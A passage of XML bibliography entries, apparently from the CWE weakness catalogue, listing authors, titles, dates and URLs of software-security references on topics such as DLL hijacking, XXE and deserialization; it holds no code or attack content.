			<URL>http://homes.cerias.purdue.edu/~pmeunier/secprog/sanitized/class1/6.resource%20exhaustion.ppt</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-390">
			<Author>J. Whittaker</Author>
			<Author>H. Thompson</Author>
			<Title>How to Break Software Security</Title>
			<Publication_Year>2003</Publication_Year>
			<Publisher>Addison Wesley</Publisher>
		</External_Reference>
		<External_Reference Reference_ID="REF-391">
			<Author>iOS Developer Library</Author>
			<Title>Transitioning to ARC Release Notes</Title>
			<Publication_Year>2013</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---08</Publication_Day>
			<URL>https://developer.apple.com/library/archive/releasenotes/ObjectiveC/RN-TransitioningToARC/Introduction/Introduction.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-392">
			<Author>Paul Roberts</Author>
			<Title>File descriptors and setuid applications</Title>
			<Publication_Year>2007</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-393">
			<Author>Apple</Author>
			<Title>Introduction to Secure Coding Guide</Title>
			<URL>https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/AccessControl.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-395">
			<Author>Scott A. Crosby</Author>
			<Author>Dan S. Wallach</Author>
			<Title>Algorithmic Complexity Attacks</Title>
			<Publication>Proceedings of the 12th USENIX Security Symposium</Publication>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>https://www.usenix.org/legacy/events/sec03/tech/full_papers/crosby/crosby.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-402">
			<Author>Paget</Author>
			<Title>Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows</Title>
			<Publication_Year>2002</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<URL>http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-409">
			<Author>Georgi Guninski</Author>
			<Title>Double clicking on MS Office documents from Windows Explorer may execute arbitrary programs in some cases</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2000</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://seclists.org/bugtraq/2000/Sep/331</URL>
			<URL_Date>2023-01-30</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-410">
			<Author>Mitja Kolsek</Author>
			<Title>ACROS Security: Remote Binary Planting in Apple iTunes for Windows (ASPR #2010-08-18-1)</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<URL>https://lists.openwall.net/bugtraq/2010/08/18/4</URL>
			<URL_Date>2023-01-30</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-411">
			<Author>Taeho Kwon</Author>
			<Author>Zhendong Su</Author>
			<Title>Automatic Detection of Vulnerable Dynamic Component Loadings</Title>
			<URL>https://dl.acm.org/doi/10.1145/1831708.1831722</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-412">
			<Title>Dynamic-Link Library Search Order</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-413">
			<Title>Dynamic-Link Library Security</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---02</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-414">
			<Title>An update on the DLL-preloading remote attack vector</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---31</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://msrc.microsoft.com/blog/2010/08/an-update-on-the-dll-preloading-remote-attack-vector/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-415">
			<Title>Insecure Library Loading Could Allow Remote Code Execution</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<Publisher>Microsoft</Publisher>
			<URL>https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637#insecure-library-loading-could-allow-remote-code-execution</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-416">
			<Author>HD Moore</Author>
			<Title>Application DLL Load Hijacking</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---23</Publication_Day>
			<URL>https://www.rapid7.com/blog/?p=5325</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-417">
			<Author>Oliver Lavery</Author>
			<Title>DLL Hijacking: Facts and Fiction</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://threatpost.com/dll-hijacking-facts-and-fiction-082610/74384/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-422">
			<Author>Richard Stanway (r1CH)</Author>
			<Title>Dynamic File Uploads, Security and You</Title>
			<URL>https://web.archive.org/web/20090208005456/http://shsc.info/FileUploadSecurity</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-423">
			<Author>Johannes Ullrich</Author>
			<Title>8 Basic Rules to Implement Secure File Uploads</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://www.sans.org/blog/8-basic-rules-to-implement-secure-file-uploads/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-424">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 8 - Unrestricted Upload of Dangerous File Type</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-8-unrestricted-upload-of-dangerous-file-type/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-427">
			<Author>Steve Christey</Author>
			<Title>On Interpretation Conflict Vulnerabilities</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://seclists.org/bugtraq/2005/Nov/30</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-428">
			<Author>Thomas H. Ptacek</Author>
			<Author>Timothy N. Newsham</Author>
			<Title>Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection</Title>
			<Publication_Year>1998</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>https://insecure.org/stf/secnet_ids/secnet_ids.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-429">
			<Author>Brett Moore</Author>
			<Title>0x00 vs ASP file upload scripts</Title>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-430">
			<Author>Rain Forest Puppy</Author>
			<Title>Poison NULL byte</Title>
			<Publication>Phrack</Publication>
		</External_Reference>
		<External_Reference Reference_ID="REF-431">
			<Author>David F. Skoll</Author>
			<Title>Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>http://marc.info/?l=bugtraq&amp;m=109525864717484&amp;w=2</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-432">
			<Author>Norm Hardy</Author>
			<Title>The Confused Deputy (or why capabilities might have been invented)</Title>
			<Publication_Year>1988</Publication_Year>
			<URL>http://www.cap-lore.com/CapTheory/ConfusedDeputy.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-433">
			<Author>Chaim Linhart</Author>
			<Author>Amit Klein</Author>
			<Author>Ronen Heled</Author>
			<Author>Steve Orrin</Author>
			<Title>HTTP Request Smuggling</Title>
			<URL>https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-434">
			<Author>David Wheeler</Author>
			<Title>Secure Programming for Linux and Unix HOWTO</Title>
			<Publication_Year>2003</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/semantic-attacks.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-436">
			<Author>mercy</Author>
			<Title>Exploiting Uninitialized Data</Title>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<URL>http://www.felinemenace.org/~mercy/papers/UBehavior/UBehavior.zip</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-437">
			<Author>Microsoft Security Vulnerability Research &amp; Defense</Author>
			<Title>MS08-014 : The Case of the Uninitialized Stack Variable Vulnerability</Title>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---11</Publication_Day>
			<URL>https://msrc.microsoft.com/blog/2008/03/ms08-014-the-case-of-the-uninitialized-stack-variable-vulnerability/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-442">
			<Author>Robert Seacord</Author>
			<Title>EXP01-A. Do not take the sizeof a pointer to determine the size of a type</Title>
			<URL>https://www.securecoding.cert.org/confluence/display/seccode/EXP01-A.+Do+not+take+the+sizeof+a+pointer+to+determine+the+size+of+a+type</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-453">
			<Author>OWASP</Author>
			<Title>OWASP , Attack Category : Mobile code: object hijack</Title>
			<URL>http://www.owasp.org/index.php/Mobile_code:_object_hijack</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-454">
			<Author>Microsoft</Author>
			<Title>Introduction to Code Signing</Title>
			<URL>http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-455">
			<Author>Microsoft</Author>
			<Title>Authenticode</Title>
			<URL>http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-456">
			<Author>Apple</Author>
			<Title>Code Signing Guide</Title>
			<Publication>Apple Developer Connection</Publication>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--11</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-457">
			<Author>Anthony Bellissimo</Author>
			<Author>John Burgess</Author>
			<Author>Kevin Fu</Author>
			<Title>Secure Software Updates: Disappointments and New Challenges</Title>
			<URL>http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-459">
			<Author>Johannes Ullrich</Author>
			<Title>Top 25 Series - Rank 20 - Download of Code Without Integrity Check</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-461">
			<Author>Matthias Kaiser</Author>
			<Title>Exploiting Deserialization Vulnerabilities in Java</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-462">
			<Author>Sam Thomas</Author>
			<Title>PHP unserialization vulnerabilities: What are we missing?</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---27</Publication_Day>
			<URL>https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-463">
			<Author>Gabriel Lawrence</Author>
			<Author>Chris Frohoff</Author>
			<Title>Marshalling Pickles: How deserializing objects can ruin your day</Title>
			<Publication_Year>2015</Publication_Year>
			<Publication_Month>--01</Publication_Month>
			<Publication_Day>---28</Publication_Day>
			<URL>https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-464">
			<Author>Heine Deelstra</Author>
			<Title>Unserializing user-supplied data, a bad idea</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<URL>https://drupalsun.com/heine/2010/08/25/unserializing-user-supplied-data-bad-idea</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-465">
			<Author>Manish S. Saindane</Author>
			<Title>Black Hat EU 2010 - Attacking Java Serialized Communication</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---26</Publication_Day>
			<URL>https://www.slideshare.net/msaindane/black-hat-eu-2010-attacking-java-serialized-communication</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-466">
			<Author>Nadia Alramli</Author>
			<Title>Why Python Pickle is Insecure</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---09</Publication_Day>
			<URL>http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-467">
			<Author>Nelson Elhage</Author>
			<Title>Exploiting misuse of Python's "pickle"</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://blog.nelhage.com/2011/03/exploiting-pickle/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-468">
			<Author>Chris Frohoff</Author>
			<Title>Deserialize My Shorts: Or How I Learned to Start Worrying and Hate Java Object Deserialization</Title>
			<Publication_Year>2016</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---21</Publication_Day>
			<URL>https://speakerdeck.com/frohoff/owasp-sd-deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-474">
			<Author>Douglas C. Schmidt</Author>
			<Author>Timothy H. Harrison</Author>
			<Author>Nat Pryce</Author>
			<Title>Thread-Specifc Storage for C/C++</Title>
			<URL>http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-478">
			<Title>Intrinsic Locks and Synchronization (in Java)</Title>
			<URL>https://docs.oracle.com/javase/tutorial/essential/concurrency/locksync.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-480">
			<Title>Valgrind</Title>
			<URL>http://valgrind.org/</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-482">
			<Author>Zvi Gutterman</Author>
			<Title>Hold Your Sessions: An Attack on Java Session-id Generation</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--02</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/gm05.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-483">
			<Author>Craig A. Shue</Author>
			<Author>Andrew J. Kalafut</Author>
			<Author>Minaxi Gupta</Author>
			<Title>Exploitable Redirects on the Web: Identification, Prevalence, and Defense</Title>
			<URL>https://www.cprogramming.com/tutorial/exceptions.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-484">
			<Author>Russ McRee</Author>
			<Title>Open redirect vulnerabilities: definition and prevention</Title>
			<Edition>Issue 17</Edition>
			<Publication>(IN)SECURE</Publication>
			<Publication_Year>2008</Publication_Year>
			<Publication_Month>--07</Publication_Month>
			<URL>http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-485">
			<Author>Jason Lam</Author>
			<Title>Top 25 Series - Rank 23 - Open Redirect</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--03</Publication_Month>
			<Publication_Day>---25</Publication_Day>
			<Publisher>SANS Software Security Institute</Publisher>
			<URL>http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-490">
			<Author>David Bacon et al</Author>
			<Title>The "Double-Checked Locking is Broken" Declaration</Title>
			<URL>http://www.cs.umd.edu/~pugh/java/memoryModel/DoubleCheckedLocking.html</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-491">
			<Author>Jeremy Manson and Brian Goetz</Author>
			<Title>JSR 133 (Java Memory Model) FAQ</Title>
			<URL>http://www.cs.umd.edu/~pugh/java/memoryModel/jsr-133-faq.html#dcl</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-493">
			<Author>Steve Christey</Author>
			<Title>Second-Order Symlink Vulnerabilities</Title>
			<Publication>Bugtraq</Publication>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--06</Publication_Month>
			<Publication_Day>---07</Publication_Day>
			<URL>https://seclists.org/bugtraq/2005/Jun/44</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-494">
			<Author>Shaun Colley</Author>
			<Title>Crafting Symlinks for Fun and Profit</Title>
			<Publication>Infosec Writers Text Library</Publication>
			<Publication_Year>2004</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>http://www.infosecwriters.com/texts.php?op=display&amp;id=159</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-496">
			<Author>OWASP</Author>
			<Title>XML External Entity (XXE) Processing</Title>
			<URL>https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-497">
			<Author>Sascha Herzog</Author>
			<Title>XML External Entity Attacks (XXE)</Title>
			<Publication_Year>2010</Publication_Year>
			<Publication_Month>--10</Publication_Month>
			<Publication_Day>---20</Publication_Day>
			<URL>https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-498">
			<Author>Gregory Steuck</Author>
			<Title>XXE (Xml eXternal Entity) Attack</Title>
			<URL>https://www.beyondsecurity.com/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-499">
			<Author>WASC</Author>
			<Title>XML External Entities (XXE) Attack</Title>
			<URL>http://projects.webappsec.org/w/page/13247003/XML%20External%20Entities</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-500">
			<Author>Bryan Sullivan</Author>
			<Title>XML Denial of Service Attacks and Defenses</Title>
			<Publication_Year>2009</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<URL>https://learn.microsoft.com/en-us/archive/msdn-magazine/2009/november/xml-denial-of-service-attacks-and-defenses</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-501">
			<Author>Chris Cornutt</Author>
			<Title>Preventing XXE in PHP</Title>
			<URL>https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-502">
			<Author>Shaun Clowes</Author>
			<Title>A Study in Scarlet - section 5, "File Upload"</Title>
		</External_Reference>
		<External_Reference Reference_ID="REF-503">
			<Author>Microsoft</Author>
			<Title>Developing Secure ActiveX Controls</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--04</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-505">
			<Author>David Litchfield</Author>
			<Title>The Oracle Hacker's Handbook</Title>
		</External_Reference>
		<External_Reference Reference_ID="REF-506">
			<Author>David Litchfield</Author>
			<Title>Cursor Injection</Title>
			<URL>http://www.davidlitchfield.com/cursor-injection.pdf</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-510">
			<Author>Microsoft</Author>
			<Title>How to stop an ActiveX control from running in Internet Explorer</Title>
			<URL>https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-514">
			<Author>Rain Forest Puppy</Author>
			<Title>Poison NULL byte</Title>
			<Publication>Phrack 55</Publication>
			<URL>https://insecure.org/news/P55-07.txt</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-515">
			<Author>Brett Moore</Author>
			<Title>0x00 vs ASP file upload scripts</Title>
			<URL>http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-516">
			<Author>ShAnKaR</Author>
			<Title>ShAnKaR: multiple PHP application poison NULL byte vulnerability</Title>
			<URL>https://seclists.org/fulldisclosure/2006/Sep/185</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-517">
			<Author>Steve Christey</Author>
			<Title>Dynamic Evaluation Vulnerabilities in PHP applications</Title>
			<Publication>Full-Disclosure</Publication>
			<Publication_Year>2006</Publication_Year>
			<Publication_Month>--05</Publication_Month>
			<Publication_Day>---03</Publication_Day>
			<URL>https://seclists.org/fulldisclosure/2006/May/35</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-518">
			<Author>Shaun Clowes</Author>
			<Title>A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications</Title>
			<URL>https://securereality.com.au/study-in-scarlett/</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-522">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Failing Securely</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---05</Publication_Day>
			<URL>https://web.archive.org/web/20221017053210/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/failing-securely</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-524">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Economy of Mechanism</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---13</Publication_Day>
			<URL>https://web.archive.org/web/20220126060058/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/economy-of-mechanism</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-526">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Complete Mediation</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---12</Publication_Day>
			<URL>https://web.archive.org/web/20221006191503/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/complete-mediation</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-528">
			<Author>OWASP</Author>
			<Title>Top 10 2007-Insecure Direct Object Reference</Title>
			<Publication_Year>2007</Publication_Year>
			<URL>http://www.owasp.org/index.php/Top_10_2007-A4</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-529">
			<Title>HMAC</Title>
			<Publication_Year>2011</Publication_Year>
			<Publication_Month>--08</Publication_Month>
			<Publication_Day>---18</Publication_Day>
			<Publisher>Wikipedia</Publisher>
			<URL>https://en.wikipedia.org/wiki/HMAC</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-531">
			<Author>Web Application Security Consortium</Author>
			<Title>XPath Injection</Title>
			<URL>http://projects.webappsec.org/w/page/13247005/XPath%20Injection</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-535">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Separation of Privilege</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---06</Publication_Day>
			<URL>https://web.archive.org/web/20220126060047/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/separation-of-privilege</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-539">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Psychological Acceptability</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>https://web.archive.org/web/20221104163022/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/psychological-acceptability</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-540">
			<Author>J. D. Tygar</Author>
			<Author>Alma Whitten</Author>
			<Title>Usability of Security: A Case Study</Title>
			<Publication>SCS Technical Report Collection, CMU-CS-98-155</Publication>
			<Publication_Year>1998</Publication_Year>
			<Publication_Month>--12</Publication_Month>
			<Publication_Day>---15</Publication_Day>
			<URL>http://reports-archive.adm.cs.cmu.edu/anon/1998/CMU-CS-98-155.pdf</URL>
		</External_Reference>
		<External_Reference Reference_ID="REF-542">
			<Author>Jon Postel, Editor</Author>
			<Title>RFC: 793, TRANSMISSION CONTROL PROTOCOL</Title>
			<Publication_Year>1981</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publisher>Information Sciences Institute</Publisher>
			<URL>https://www.ietf.org/rfc/rfc0793.txt</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-544">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Never Assuming that Your Secrets Are Safe</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---14</Publication_Day>
			<URL>https://web.archive.org/web/20220126060054/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/never-assuming-that-your-secrets-are-safe</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-546">
			<Author>Sean Barnum</Author>
			<Author>Michael Gegick</Author>
			<Title>Design Principles</Title>
			<Publication_Year>2005</Publication_Year>
			<Publication_Month>--09</Publication_Month>
			<Publication_Day>---19</Publication_Day>
			<URL>https://web.archive.org/web/20220126060046/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/design-principles</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-547">
			<Author>SUN</Author>
			<Title>Java Concurrency API</Title>
			<URL>https://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-548">
			<Author>Dipak Jha, Software Engineer, IBM</Author>
			<Title>Use reentrant functions for safer signal handling</Title>
			<URL>https://archive.ph/rl1XR</URL>
			<URL_Date>2023-04-07</URL_Date>
		</External_Reference>
		<External_Reference Reference_ID="REF-554">
			<Author>Michael Howard</Author>
			<Title>Security Development Lifecycle (SDL) Banned Function Calls</Title>
